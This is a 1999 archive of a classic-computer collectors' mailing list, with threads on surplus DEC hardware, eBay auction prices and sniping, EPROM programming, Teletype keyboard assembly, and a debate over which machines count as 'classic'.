2005 Subject: Old DEC stuff Message-ID: All, I have some old DEC equipment that I would like to get out of the garage. I would prefer if someone would take the whole lot. If I can't make those arrangements I may be willing to piece things out. The list is following my sig. Jerome -- Jerome A. Marella University of Pittsburgh - CIS Systems & Networks 600 Epsilon Drive, Pittsburgh, PA 15238 mopar+@pitt.edu (412) 624-9139 Fax (412) 624-6436 http://www.pitt.edu/~mopar The list of stuff: 2 x 11/750 w 14Meg an 11/730 in pieces 3 x RA81 tu78 tu80 various extra boards - I will make a complete list if anyone likes print sets: 11/730 field maintenance 11/750 pcs module ka750 mos memory array comet memory unit tu77 From ckaiser at oa.ptloma.edu Tue Jan 26 19:43:21 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:34 2005 Subject: Classic Computer Auctions List In-Reply-To: from "Max Eskin" at Jan 25, 99 07:48:17 pm Message-ID: <199901270143.RAA12242@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 533 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990126/319648a8/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 26 19:10:31 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:34 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: from "Sam Ismail" at Jan 26, 99 03:39:04 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 498 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990127/4c3449f3/attachment.ksh From doug at blinkenlights.com Tue Jan 26 19:42:48 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:34 2005 Subject: Big C64 Secret Project (was Re: Classic Computer Auctions List In-Reply-To: <199901270143.RAA12242@oa.ptloma.edu> Message-ID: > ::> Yes but we're using those for a VCF project. > :: > ::Using 80 C-64s in a single project? Heck, I'm curious... > > So am I :-))) OK, I'll tell you. Oh, wait. It's a secret. I think you have to come to VCF 3.0 to find out. -- Doug From nfields at ix.netcom.com Tue Jan 26 20:11:37 1999 From: nfields at ix.netcom.com (Noel Fields) Date: Sun Feb 27 18:40:34 2005 Subject: Question on sources.... References: Message-ID: <36AE75D9.35557CCF@ix.netcom.com> I hear through messages here, that people are finding classic computers for sale on the internet. I was curious, where you are finding them? (web, newsgroups, etc) and what techniques your using to find them? I do a search on different computer types, and I get a lot of information, but not actual sales on them. Noel From ai705 at osfn.org Tue Jan 26 20:19:35 1999 From: ai705 at osfn.org (Stephen Dauphin) Date: Sun Feb 27 18:40:34 2005 Subject: reranting... In-Reply-To: <01be498c$5739afc0$c9c962cf@devlaptop> Message-ID: On Tue, 26 Jan 1999, Mike wrote: > I am just saddened when I contemplate the additional dumpster fodder that > could have been saved were your energies spent better than at the gas pedal > of ebay's search engine. > Perhaps your mind should hit the brakes and not make such a sweeping assumption. How do you know whether things on Ebay do not eventually make the landfill? Ebay is a poor source for big ticket classic items, but for more middling computer ephemera it can be quite decent. At this point between 7,000 and 10,000 items are listed in the computer section daily. This works out to approximately 3 million items in a year. Not everything sells. A lot of material goes unbid or for a single bid which defaults to the minimum. I remember specifically a set of 2 or 3 Corvus transporter cards for IBM not receiving a bid in 4 successive week long Ebay auctions. They were never relisted. Maybe they were sold in another manner; maybe they were ditched. A lot of amateurs cleaning out the closet and some junk shops/antique stores. A significant number lose patience quickly and have little inkling where to fob the item after an Ebay reject. Some relist, but I will bet a number of items are just trashed eventually. That doesn't mean that there aren't people who have glommed onto Ebay and think they are participating in the second coming of the gold rush. I am now dealing with a couple who have that notion, but will find that most of what they have will sell for _significantly_ less than what it cost new. In summary, there are plenty of items that languish. If it is only going to get one bid, that winning bidder may as well be you. While I cannot specifically give the details on items receiving no bid since I rarely save the results, I can note the following good deals. All the bid amounts and the number of bids are final results. I just picked up Central Point Copy Option board, the enhanced kind with the interrupt switches for $2.24 plus $3.00 shipping. From dogas at leading.net Tue Jan 26 20:30:48 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:40:34 2005 Subject: reranting... Message-ID: <01be499d$0c977c20$e4c962cf@devlaptop> -----Original Message----- From: Doug >OK, Mike, I give up. Which famous poet are you? > >-- Doug :-) Heh... Well, I was John Donne. But that's another lifetime and another story. ;) The Flea - Mike:dogas@leading.net From dogas at leading.net Tue Jan 26 20:59:12 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:40:34 2005 Subject: reranting... Message-ID: <01be49a1$0431fde0$e4c962cf@devlaptop> -----Original Message----- From: Stephen Dauphin >In summary, there are plenty of items that languish. If it is only going >to get one bid, that winning bidder may as well be you. Wow, this was the first ebay post I appreciate. Alot of cool and interesting items that had real rescue potential, the technologically disenfranchised. Unfortunately, to often what is hawked here aren't those ugly orphans looking for a needed home but the gleaming poster children of this bright shiny new investment opportunity. sol, altair, pdp, challenger, etc OK, I've stopped channeling Norma Ray... *whew* - Mike: dogas@leading.net From gram at cnct.com Tue Jan 26 21:19:35 1999 From: gram at cnct.com (Ward D. Griffiths III) Date: Sun Feb 27 18:40:34 2005 Subject: Ebay: Stuff & Help needed with Osborne 1 In-Reply-To: Message-ID: On Tue, 26 Jan 1999, Don Maslin wrote: > On Mon, 25 Jan 1999, Marvin wrote: > > > BTW, I think any experienced bidder will snipe, and I tell everyone I know > > that wants to buy on ebay to snipe. I still remember driving up the price on > > a Sol-20 by checking and bidding every day against someone else who wanted > > it (and got it!) > > And that gave you great satisfaction, I take it? I wonder what he'd have done if he "won" and had to pony up the cash? -- Ward Griffiths "the timid die just like the daring; and if you don't take the plunge then you'll just take the fall" Michael Longcor From doug at blinkenlights.com Tue Jan 26 21:27:31 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:34 2005 Subject: Ebay: Stuff & Help needed with Osborne 1 In-Reply-To: Message-ID: > > On Mon, 25 Jan 1999, Marvin wrote: > > > > > BTW, I think any experienced bidder will snipe, and I tell everyone I know > > > that wants to buy on ebay to snipe. I still remember driving up the price on > > > a Sol-20 by checking and bidding every day against someone else who wanted > > > it (and got it!) > > > > And that gave you great satisfaction, I take it? > > I wonder what he'd have done if he "won" and had to pony up the cash? I think what Marvin was saying (correct me if I'm wrong, Marvin) is that he used to be a naive bidder and *unintentionally* ran up the price until he finally saw the light and became a sniper. -- Doug From allisonp at world.std.com Tue Jan 26 21:42:55 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:40:34 2005 Subject: Am I a part of history ? Message-ID: <199901270342.AA19370@world.std.com> There is a guy in England that has or had one. I corresponded with him P.S.: I just unpacked my SC/MP kit - Original binder, with original <> packed, still shrink warped, unassembled kit .... Herrgott I'M HAPPY :) I have a sc/mp, docs for it and a few articles as well. Built mine way back in '77 or so. Oh the national part number is isp-8A500 for the sc/mp and isp-8a600 for the sc/mpII. Allison From allisonp at world.std.com Tue Jan 26 21:43:38 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:40:34 2005 Subject: TRW Swapmeet Wants/Trades Message-ID: <199901270343.AA20132@world.std.com> <> You know, those 30-pin SIMMs will be valuable eventually! You should sav <> every one you find. < Message-ID: On Tue, 26 Jan 1999, Tony Duell wrote: > > On 26 Jan 1999, Eric Smith wrote: > > > > Or a Xerox Daybreak (sort of a small Alto) for that matter. Inquiries > > Last year, at a UK radio rally. Price : 10 pounds ;-) > > Before you ask, I didn't know what it was, but it said 'Xerox', had some > 2901 chips in it, and it followed me home. I assume on a tight leash. -- Ward Griffiths "the timid die just like the daring; and if you don't take the plunge then you'll just take the fall" Michael Longcor From wpe101 at banet.net Tue Jan 26 21:52:57 1999 From: wpe101 at banet.net (Will Emerson) Date: Sun Feb 27 18:40:34 2005 Subject: Classic Computer Auctions List References: Message-ID: <36AE8D99.73654AD6@banet.net> Auction list.. Okay, but, I've got to say: Auction prices.. IMNSHO, I'm deeply saddened to see prices likely driven by people who probably have no real interest in the machines themselves, and what you could do (or can still do) with them, "See the antique computer I've got on my coffee table". My feeling is, these auctions may "save" some "classics" for cosmetic or "bragging rights" purposes, but will (do) hinder the serious collectors (members of the classiccmp list) who actually put this equipment to good use, and keep alive the history of computing. Sorry, but I had to vent my USD $0.02 worth... Will Doug wrote: > > In private email, Marvin appeared to like the idea of an auction mailing > list, so I've created one. You can subscribe by sending a message to: > majordomo@nut.net > with the body: > subscribe ccauction > > I, for one, will not be on this new list, but I'll respond to admin > requests. > > To clarify, this list is just for the discussion of *online auctions* > related to classic computers. Hopefully, my reasoning for creating this > list is obvious by now -- I find random advertising of auctions unfair to > those who invest time in searching out bargain needles in a 1.3M-needle > haystack. > > Obviously, other sales vehicles don't have this inherent problem. Even > "real" auctions require a big enough investment of each bidder's time that > the playing field is pretty level. So, feel free to continue sharing your > non-online-auction finds with me^H^H^H us here :-) > > On a related note, I want to make it clear that I do find the price trend > disturbing. Call me Chicken Little, but I fear The End is Near! It > appears to be increasingly difficult to find "interesting" vintage > machines from the usual inexpensive sources. I only saw a few S100 > machines at ham fests last year, and I suspect that number will decrease > by half this year. > > Would there be any interest in an anonymous database that tracks prices > collectors paid over time, and the sources where they found the machines? > If so, I can setup a website in about a day. > > -- Doug From altair8800 at hotmail.com Tue Jan 26 22:10:28 1999 From: altair8800 at hotmail.com (Bob Wood) Date: Sun Feb 27 18:40:34 2005 Subject: Australian collector seeking help Message-ID: <19990127041028.27716.qmail@hotmail.com> I received the email message below from one Andrew Davie who resides in Australia. Thought there might be subscribers to this list who could offer him some aid. Bob Wood _____________________________________________________ > From: Andrew Davie Bob, I'm a computer collector based in Australia. Recently I posted a queston on the 'net about moving computers and equipment from Russia. In reply, I was given your name as somebody who may have some experience in the field. As you can see from my sig at the bottom, I run a site devoted to Soviet Calculators. Recently I've started branching into Soviet Computers, too - but have yet to find a way to get bulky items reliably out of Russia. I'm writing to see if you might offer me any advice / assistance ? Cheers A -- adavie@mad.scientist.com visit the Museum of Soviet Calculators at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html a Yahoo!, Netscape, Wall Street Journal, Newsweek and New Scientist Cool Site! Andrew, Wish I could help but have had no experience with Russia. I have shipped computers from the US to Europe but that is about the extent of it. Someone has given me more credit than I deserve. I will post your message on the classic computing listserve and see if the worldwide participants to that message board can provide you with some advice. I will forward any replies I receive to you. Good luck Bob Wood ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com From marvin at rain.org Tue Jan 26 22:09:24 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:34 2005 Subject: Ebay: Stuff & Help needed with Osborne 1 References: Message-ID: <36AE9174.B450C94D@rain.org> Doug wrote: > > > > On Mon, 25 Jan 1999, Marvin wrote: > > > > > > > BTW, I think any experienced bidder will snipe, and I tell everyone I know > > > > that wants to buy on ebay to snipe. I still remember driving up the price on > > > > a Sol-20 by checking and bidding every day against someone else who wanted > > > > it (and got it!) > > > > > > And that gave you great satisfaction, I take it? > > > > I wonder what he'd have done if he "won" and had to pony up the cash? > > I think what Marvin was saying (correct me if I'm wrong, Marvin) is that > he used to be a naive bidder and *unintentionally* ran up the price until > he finally saw the light and became a sniper. Thanks Doug! That was exactly what I meant, but it never occurred to me that someone would mis-interpret what I said. I most certainly did not see the light on that auction!!! From gram at cnct.com Tue Jan 26 22:21:32 1999 From: gram at cnct.com (Ward D. Griffiths III) Date: Sun Feb 27 18:40:34 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: Message-ID: On Tue, 26 Jan 1999, Sam Ismail wrote: > Section 2048-WhoDoWeAppreciate > > Anyone with the initials ARD heralding from the UK may only submit > projects like completely disassembling and re-assembling a 14" winchester > hard disk in a normal, unfiltered room, blind-folded, with the lights off > and one arm tied behind his back and still be able to have data be read > from the drive. Anything less and he will be forced to repair a > modern-day PC compatible 300Mhz Pentium II computer with only the original > Taiwanese-produced "user's manual" as a reference. Hell, Sam, do a hard one. The main job is a piece of cake and I think Tony can do the extra-credit bit with _both_ hands tied behind his back. -- Ward Griffiths "the timid die just like the daring; and if you don't take the plunge then you'll just take the fall" Michael Longcor From ddameron at earthlink.net Tue Jan 26 19:07:39 1999 From: ddameron at earthlink.net (Dave Dameron) Date: Sun Feb 27 18:40:34 2005 Subject: 1702A programming (was Bugbooks - Mark 80 ) In-Reply-To: <199901261810.KAA06205@civic.hal.com> References: <3.0.6.16.19990125184943.25ff126e@earthlink.net> Message-ID: <3.0.6.16.19990126190739.277fd12e@earthlink.net> At 10:10 AM 1/26/99 -0800, Dwight wrote: >Dave Dameron wrote: >> At 11:10 PM 1/25/99 +0000, Tony wrote: > >> The 1702's had 10% of the program duty cycle of the 1702A, so took 10x >> longer to >> program. The voltages were the same. I don't know what actually was revised on >> the chip, larger output/program transistors? >> -Dave > >Hi Dave > The 1702A's also required that the address be complemented before >the Vdd and Vgg were brought low. The 1702's didn't seem to need >this and Vdd and Vgg were left at there low states the entire time. >This also is a problem because the programmer I have doesn't >switch Vdd and Vgg. >Dwight > Thanks, The Intel booklet I have has a 1702A programmer, and it implies it is compatable with the 1702 with a lower duty cycle. So the 1702 _could_ work with the address complement step and switched Vdd, Vgg, but the 1702A requires these. I looked in my collection and found only 1702A's. Have been thinking about building a programmer for when I ever build a 8008 system, but the Intel one is fairly involved. There was a simpler one in the Feb. 1978 issue of Popular Electronics. Sone things I prefer about the second, it used a counter and shift register to control the timing instead of monostables. -Dave From nerdware at laidbak.com Tue Jan 26 22:24:47 1999 From: nerdware at laidbak.com (Paul Braun) Date: Sun Feb 27 18:40:34 2005 Subject: Televideo 802 computer? In-Reply-To: <3.0.1.16.19990126093508.46bfd362@intellistar.net> Message-ID: <199901270422.WAA22781@garcon.laidbak.com> Date sent: Tue, 26 Jan 1999 09:35:08 Send reply to: classiccmp@u.washington.edu From: Joe To: "Discussion re-collecting of classic computers" Subject: Televideo 802 computer? > Does anyone have one of these? I found a manual for one of these yesterday > and it looks pretty cool. > > Joe I have an 803, complete with cpu, keyboard, and software. The lady who donated it had been using it up until about a year ago. Kinda cool, but also kinda awkward to lug to the library when I set up my exhibits...... it'll go on the website someday when I actually get my life back. Paul Braun NerdWare -- The History of the PC and the Nerds who brought it to you. nerdware@laidbak.com www.laidbak.com/nerdware From gram at cnct.com Tue Jan 26 22:32:48 1999 From: gram at cnct.com (Ward D. Griffiths III) Date: Sun Feb 27 18:40:34 2005 Subject: Classic Computer Auctions List In-Reply-To: Message-ID: On Mon, 25 Jan 1999, Max Eskin wrote: > On Mon, 25 Jan 1999, Sam Ismail wrote: > > Yes but we're using those for a VCF project. > > Using 80 C-64s in a single project? Heck, I'm curious... This sounds like a job for Beopuppy. -- Ward Griffiths "the timid die just like the daring; and if you don't take the plunge then you'll just take the fall" Michael Longcor From cmcmanis at freegate.com Tue Jan 26 22:42:25 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:34 2005 Subject: ASR33 merit badge In-Reply-To: <199901270422.WAA22781@garcon.laidbak.com> References: <3.0.1.16.19990126093508.46bfd362@intellistar.net> Message-ID: <4.1.19990126204043.00aa4650@208.226.86.10> Hi Everyone, I'm working on my ASR-33 merit badge. For this portion I need to take a complete set of parts for a keyboard and assemble them into a working keyboard unit. I was wondering if anyone had any "tricks" that they new that would aid in the assembly of the final frame around the code bars. I find I'm short about three hands. --Chuck From healyzh at aracnet.com Tue Jan 26 22:54:29 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:34 2005 Subject: Classic Computer Auctions List In-Reply-To: References: Message-ID: Max Eskin wrote: >On Mon, 25 Jan 1999, Sam Ismail wrote: >> Yes but we're using those for a VCF project. > >Using 80 C-64s in a single project? Heck, I'm curious... Yes, and 80 C-64's would indicate 80 powersupplies. Heck, I'm impressed... :^) Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From amirault at epix.net Tue Jan 26 23:04:00 1999 From: amirault at epix.net (John Amirault) Date: Sun Feb 27 18:40:35 2005 Subject: Alto II (was Re: PDP-8 prices References: Message-ID: <36AE9E40.DA8AA2D6@epix.net> Mark and all others, If you need a PDF file written I will do it, print it , and attach it as a scanned file, BMP or something like that, If I have to I will type it in letter by letter for you. Does this help? John amirault Mark wrote: > On Tue, 26 Jan 1999 John Amirault wrote: > >In order to read a PDF file you need to get " adobe acrobat reader " . Just > >do a net search and you will find all the info you need. Hope this helps you. > >John Amirault > > I think the point is that Acrobat Reader is only available for a few platforms, > and if your computer isn't one of those you're stuck. (More or less.) > > (If the Alto manuals on the web are scanned, try asking the web page maintainer > to use a standard image format instead.) > > -- Mark From jimw at agora.rdrop.com Tue Jan 26 23:14:51 1999 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:40:35 2005 Subject: ASR33 merit badge In-Reply-To: <4.1.19990126204043.00aa4650@208.226.86.10> References: <199901270422.WAA22781@garcon.laidbak.com> <3.0.1.16.19990126093508.46bfd362@intellistar.net> Message-ID: <3.0.3.32.19990126211451.012599c0@agora.rdrop.com> At 08:42 PM 1/26/99 -0800, you wrote: >Hi Everyone, > >I'm working on my ASR-33 merit badge. For this portion I need to take a >complete set of parts for a keyboard and assemble them into a working >keyboard unit. I was wondering if anyone had any "tricks" that they new >that would aid in the assembly of the final frame around the code bars. I >find I'm short about three hands. > >--Chuck Rubber bands can be your friend... -jim --- jimw@agora.rdrop.com The Computer Garage - http://www.rdrop.com/~jimw Computer Garage Fax - (503) 646-0174 From yakowenk at cs.unc.edu Tue Jan 26 23:15:58 1999 From: yakowenk at cs.unc.edu (Bill Yakowenko) Date: Sun Feb 27 18:40:35 2005 Subject: Legitimacy of the Ten Year Rule. Message-ID: <199901270515.AAA17785@dgs.cs.unc.edu> On Sun, 24 Jan 1999, allisonp@world.std.com (Allison J Parent) wrote: ] <5. The ten year rule should apply to the date when a thing dropped off ] < in popularity; if it was still in common use eight years ago, it is ] < not yet classic. (Justification: if it is still in common use, ] < there will be other places to discuss it.) ] ] Humm. This one is tough. We talk about VAXen and the MicroVAX is only ] about 14-15 years old and some models do persist but they are uniquly ] new compared to others. Example, we wouldn't be talking about 6xxx series ] as the oldest ones are early 90s. However BA123 based Microvaxen ] introduced in the 80s were still made in the early 90s and are able to ] run current version of the OS. They are old enough to be of interest. First, are you telling me that Vaxen haven't dropped off in popularity yet? Sure, some are still in use. But then, so are some valve-radios (by collectors). Being in use isn't a problem; being in *common* use, still being at the peak of popularity; *that* is what I would like to avoid on this list. This list is (for me) a refuge from the marketing crap that I get every day about current products. So, I agree that Vaxen are classic, because they are well past their prime. If some model of that peaked within the last ten years though, it isn't classic yet. (Not that I'd mind so much, either. I'm just arguing that it would be mildly off topic.) ] Another example is the DECMATE-III sold up to the early 90s but they are ] related too. Why, they run OS/278 and WPS both legacy software. Yeah, and my Pentium runs CoCo software (via an emulator). And Pentia are related to the 8080, so they have exactly the same two claims to classichood. So lets talk about Pentia! Not. If they peaked in the early 90's, they are not yet classic. We can argue about how far off-topic they are, but it is more than zero. (x86 lose big here because they have not yet passed their peak.) ] The keys are OLDness, UNIQUEness and desireability. I'm sure there are ] technical aspects that would qualify like machines with unusual word ] length or the like but, they should be 80s or earlier in introduction ] or common use. ] ] So long as it's related to the collecting, preserving and discussion ] centered around older machines there is little conflict. Agreed. Little off-topic == little conflict. ] Just my small cash investment in opinion. Thanks for voting. "Vote early, vote often." Cheers, Bill. From yakowenk at cs.unc.edu Tue Jan 26 23:33:35 1999 From: yakowenk at cs.unc.edu (Bill Yakowenko) Date: Sun Feb 27 18:40:35 2005 Subject: Legitimacy of the Ten Year Rule. Message-ID: <199901270533.AAA17957@dgs.cs.unc.edu> On Sat, 23 Jan 1999, Max Eskin wrote: ] On Sat, 23 Jan 1999, Bill Yakowenko wrote: ] > 2. Nothing PC- or Mac-compatible can ever be classic. Sorry, that's ] > just an indisputable fact. :-) ] ] How about a VAX emulating a PC? The Vax is classic. When was the emulator written? :-) ] > 5. The ten year rule should apply to the date when a thing dropped off ] > in popularity; if it was still in common use eight years ago, it is ] > not yet classic. (Justification: if it is still in common use, ] > there will be other places to discuss it.) ] ] How do you define 'common'? What percent of the population must use it? ] What if it's uncommon in my city and common in yours? I intentionally left that undefined. If we disagree about when something passed its prime, then we may also disagree about it being classic. Do you think there are any great geographic differences in computer usage? It may not be a practical issue, but it is an interesting question anyway. I suppose these things should also be settled by concensus. If enough vocal subscribers are from Outer Sluterpia, where Univacs still rule, and the Outer Sluterpian branch of Univac is still in business, then we might have to stop calling Univacs classic (and visit there with big U-haul trucks!) (But don't announce it on this list, or Doug will be upset! :-P ). In practice, I think this is a non-issue. There really is not that much geographic difference in computer use in the areas that our subscribers reside, and I think we can mostly agree on which systems are still selling like hot-cakes and which are long past that point. Bill. From yakowenk at cs.unc.edu Tue Jan 26 23:51:40 1999 From: yakowenk at cs.unc.edu (Bill Yakowenko) Date: Sun Feb 27 18:40:35 2005 Subject: Legitimacy of the Ten Year Rule. Message-ID: <199901270551.AAA18069@dgs.cs.unc.edu> On Mon, 25 Jan 1999, ard@p850ug1.demon.co.uk (Tony Duell) wrote: Subject: Re: Legitimacy of the Ten Year Rule. ] > <1. Ten years is just a guideline. If something is only 9 years old, ] > < I won't much mind hearing about it. I might even like it. But if ] > ] > I happen to like that. ] ] So do I. 10 years should be taken as a guideline. If you happen to have ] just rescued some unbelievably cool machine - say a supercomputer - that ] happens to be only 8 years old, I don't think anyone will flame you for ] mentioning here. Of course, nobody gets flamed for being only slightly off-topic. But we should at least be clear about what "off-topic" means, so we can recognize how far off we've gone. ] There are better places IMHO for mainstream stuff like PCs, Macs, ] Windows, Linux, etc. Not to say that there aren't some real experts on ] all of those here, but you'll get better answers elsewhere. And even if you could get better answers here, I submit that it is rude. I am here because of an interest in older computers. The whole point of having distinct mailing lists for distinct topics is to get information to the people who want it, and not add to the collective information overload. *Please* go to the right list with each question. ] > <2. Nothing PC- or Mac-compatible can ever be classic. Sorry, that's ] > < just an indisputable fact. :-) ] > ] > I draw a line based on two things early 386 or older and uniqueness. There ] > are many clones but a few were very unique and interesting of themselves. ] > An example is the Leading Edge Model D I have or the Kaypro ProPC both Xt ] > class and a bit different. ] ] As I've said before, I have great difficulty in calling a no-name ] PC-clone a 'classic'. Especially when what you actually find in the case ] depends on the week that it was made. Even if it's 10 years old. ] ] Some clones will be 'classic'. The first Compaq probably is. Things like ] the Torch Graduate (A PC-compatible add-on for the BBC micro) is. ] ] And the non-clones (80x86 boxen that run MS-DOS, but which are not PC ] compatible) can be classics IMHO. Things like the Sirius, Apricot, HP150, ] Sanyo, etc... Okay, I'll agree that you think they are classic. :-) ] > <5. The ten year rule should apply to the date when a thing dropped off ] > < in popularity; if it was still in common use eight years ago, it is ] > < not yet classic. (Justification: if it is still in common use, ] > < there will be other places to discuss it.) ] > ] > Humm. This one is tough. We talk about VAXen and the MicroVAX is only ] > about 14-15 years old and some models do persist but they are uniquly ] ] Rememeber that DEC sold PDP11s until a couple of years ago, and that ISA ] cards with CPUs that execute the PDP11 instruction set are (IIRC) still ] in production. Yup, PDP11's are classic. The ISA cards emulating them are not. ] However, a lot of us think of the PDP11 as being a very classic machine. ] It also happens to still be in serious commerical use in a lot of places. ] There are probably more PDP8's out there in control systems than a lot of ] us realise. PDP11's are still in serious use. But is it not well past its prime? How many had Dec manufactured in the last year? Ten years? When you want to buy a computer from Dec, do they offer you a choice between a PDP8 or an Alpha? ] > The keys are OLDness, UNIQUEness and desireability. I'm sure there are ] ] Of course what's desirable to one person may not be desirable to another. ] I can't see why I'd want an Altair, but I'd go quite a way to get a Xerox ] D-machine. I suspect that for others on this list that would be reversed. ] ] -tony A lot of people want the latest PC, too. And prices on PC's are generally higher; doesn't that indicate greater desirability? Even to people on this list, how many can honestly say that the most expensive computer that they own, as measured in the price that they actually paid, was not a PC or Mac? (I can, but I strongly suspect I'm an exception.) Desirability does not make a computer a classic. Age does. Rarity doesn't make a classic, but excessive commonality could preclude it. (Which I think is the source of my bias against PC's and Macs). Bill. From zmerch at 30below.com Wed Jan 27 00:17:14 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:40:35 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: <199901270515.AAA17785@dgs.cs.unc.edu> Message-ID: <3.0.1.32.19990127011714.0093d840@mail.30below.com> On or about 12:15 AM 1/27/99 -0500, Bill Yakowenko was caught in a dark alley speaking these words: >First, are you telling me that Vaxen haven't dropped off in popularity >yet? Sure, some are still in use. But then, so are some valve-radios >(by collectors). Being in use isn't a problem; being in *common* use, >still being at the peak of popularity; *that* is what I would like to >avoid on this list. This list is (for me) a refuge from the marketing >crap that I get every day about current products. Tho I'm not { erm... quite } disagreeing with you, define "peak of popularity." The CoCo's were *never* as popular as the C64, but were still *actively* sold in this decade, and marketed for more than just a "game machine." { for those who are IMHO impaired, the following are solely opinions... ;-) } To me, CoCo == CoCo == Classic, despite many models are not 10 years old... To me, VAX == VAX == Classic, tho some models are not yet 10 years old... To me, Pentia != 8080s ; therefore Pentia != Classic... *no* models of a Pentium PC are 10 years old. To me, if a company were to gain rights to the CoCo and started manufacturing them again, *I* would consider that brand new machine a classic. If someone created a Pentium machine for the *sole* purpose of running CoCo software, I would not consider that a classic. My only argument is this: One cannot base a definition of a term using undefined terms... e.g. classic == "popular" == ????? >] Another example is the DECMATE-III sold up to the early 90s but they are >] related too. Why, they run OS/278 and WPS both legacy software. >Yeah, and my Pentium runs CoCo software (via an emulator). And Pentia >are related to the 8080, so they have exactly the same two claims to >classichood. So lets talk about Pentia! >Not. Personally, I would not be upset if someone were to talk about their pentium box if the thread were about a CoCo (or other classic machine) emulator -- benchmarks and whatnot... but only if the thread stayed on-topic WRT a classic machine. [[ which reminds me... I really need to find the time to check out the emulator on my Pentium II & run a few benchmarks... ;-) ]] Question: The CoCo emulator is not yet 10 years old, yet it *will* run on computers over 10 years old (reasonably well on a 80386), and emulates a computer that began production 20 years ago... could it be considered classic or not? >If they peaked in the early 90's, they are not yet classic. We can >argue about how far off-topic they are, but it is more than zero. >(x86 lose big here because they have not yet passed their peak.) Not fair. The 80186 has most certainly passed it's peak. { Some might argue it never *had* a peak... ;-) } But proggies written for an 80186 will run on my Pentium II. Just because the entire family of x86 processors has not yet reached the peak (and unfortunately, may never... :-( ) that the Tandy 2000 is relegated to "non-classic" status??? Me speak with forked tongue now: Just because the Moto 68000 family has not yet reached its peak (children... can you say "dragonball???") does that relegate my Atari 1040STF ton "non-classic" status??? Basing status on a processor *family* IMHO is not a good way to define "classic." Just my $0.02... unforch, it's not worth that... ;-) Roger "Merch" Merchberger ===== Roger "Merch" Merchberger -- zmerch@30below.com SysAdmin - Iceberg Computers ===== Merch's Wild Wisdom of the Moment: ===== Sometimes you know, you just don't know sometimes, you know? From yakowenk at cs.unc.edu Wed Jan 27 00:19:21 1999 From: yakowenk at cs.unc.edu (Bill Yakowenko) Date: Sun Feb 27 18:40:35 2005 Subject: CoCo3's & Legitimacy of the Ten Year Rule. Message-ID: <199901270619.BAA18424@dgs.cs.unc.edu> On Sun, 24 Jan 1999, Roger Merchberger wrote: Subject: CoCo3's & Legitimacy of the Ten Year Rule. ] >On Sat, 23 Jan 1999, Bill Yakowenko wrote: ] >> 2. Nothing PC- or Mac-compatible can ever be classic. Sorry, that's ] >> just an indisputable fact. :-) ] ] But what about a "Mac Classic???" ;-) Methinks they're over 10 years old, ] and they have *classic* right in the name!!! ;-) Oh boy, they guys at http://www.classic-computers.com/index.html must be thrilled to suddenly be "on-topic"! :-) ] >> 5. The ten year rule should apply to the date when a thing dropped off ] >> in popularity; if it was still in common use eight years ago, it is ] >> not yet classic. (Justification: if it is still in common use, ] >> there will be other places to discuss it.) ] ] Erm, sorry... I (and I think most others would agree with me here) don't ] believe that would work correctly, either. My beloved CoCo3 is more than ] easily considered a classic here, as they *started* production in 1986 (and ] mine was the first one in over a 50 mile radius of my area), but they were ] still in production at least into 1990, and I know they were still in-stock ] items in Radio Shacks & RSCC's in 1990, maybe 1991. I'm sorry to say this, being a bit of a CoCo nut myself, but if they peaked within the past ten years, they are not yet classic. Of course, they are right on the edge here, so you'd get no flames from me for posting about them. I mean, they couldn't have peaked in popularity after they were no longer being sold, right? So that puts them at eight or nine years; almost ripe. But again, slightly off-topic != on-topic. I'm guessing there will be a bell curve of opinion for any machine. Maybe I'm in one of the tails. Does everybody else think that this should be an "everything but this-year's x86" list? ] Due to active production and showroom floor presentation, I submit they ] were in common use less than 10 years ago... yet considered a classic by ] most everyone (and me) here. I just had a little revelation. To me, classic means something more than being old. And being terribly common, like being in every house, negates that. When I think of classic computers, I think of machines that had some personality, like a unique creation from an old sci-fi movie. Electronic brains. Blinky lights. Arcane OS's. High voltage. Made you feel like a mad scientist just to be able to dork around with one. CoCo's, as much as I like them, can't be that. Those and Atari's and Commie's and, yes, even Apple-2's are just too darn ordinary to be classic in that way. PDP's are classic because nobody (well, almost nobody) has them at home. I guess I'm unique in that. So I'll stop the tirade now. You've still got to count my vote though. :-) Cheers, Bill. ] BTW, my CoCo3's serial # is 102404... anyone know if there are different ] serial number series for US-sold versus Canadian-sold CoCo3's? I purchased ] mine in Canada; much cheaper! ] ===== ] Roger "Merch" Merchberger -- zmerch@30below.com ] SysAdmin - Iceberg Computers ] ===== Merch's Wild Wisdom of the Moment: ===== ] for (1..15) { print "Merry Christmas\n"; } ] (from perl.1 man page, version 4.) From dastar at ncal.verio.com Wed Jan 27 00:21:17 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:35 2005 